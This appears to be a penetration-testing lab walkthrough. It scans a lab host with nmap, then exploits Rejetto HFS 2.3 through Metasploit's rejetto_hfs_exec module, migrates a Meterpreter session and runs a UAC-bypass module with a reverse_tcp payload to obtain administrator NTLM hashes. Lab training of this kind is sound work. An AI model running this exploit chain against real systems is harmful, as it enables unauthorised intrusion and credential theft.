In this lab environment, you will be provided with GUI access to a Kali machine. The target machine running a vulnerable server will be accessible at demo.ine.local.
Your task is to fingerprint the application using the tools available on the Kali machine and exploit the application using the appropriate Metasploit module. And then, bypass UAC using the Memory Injection Metasploit local exploit module.
Objective: Gain the highest privilege on the compromised machine and get administrator user NTLM hash.
Tools
The best tools for this lab are:
Nmap
Metasploit Framework
Writeup
nmap -sSVC demo.ine.local
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: VICTIM
| NetBIOS_Domain_Name: VICTIM
| NetBIOS_Computer_Name: VICTIM
| DNS_Domain_Name: victim
| DNS_Computer_Name: victim
| Product_Version: 6.3.9600
|_ System_Time: 2025-06-10T17:39:06+00:00
|_ssl-date: 2025-06-10T17:39:13+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=victim
| Not valid before: 2025-06-09T17:36:10
|_Not valid after: 2025-12-09T17:36:10
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-10T17:39:09
|_ start_date: 2025-06-10T17:36:07
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
msfconsole
use exploit/windows/http/rejetto_hfs_exec
set rhosts demo.ine.local
run
ps -S explorer.exe
migrate 2124
shell
net localgroup administrators
Ctrl + C
background
use exploit/windows/local/bypassuac_injection
set session 1
set TARGET 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
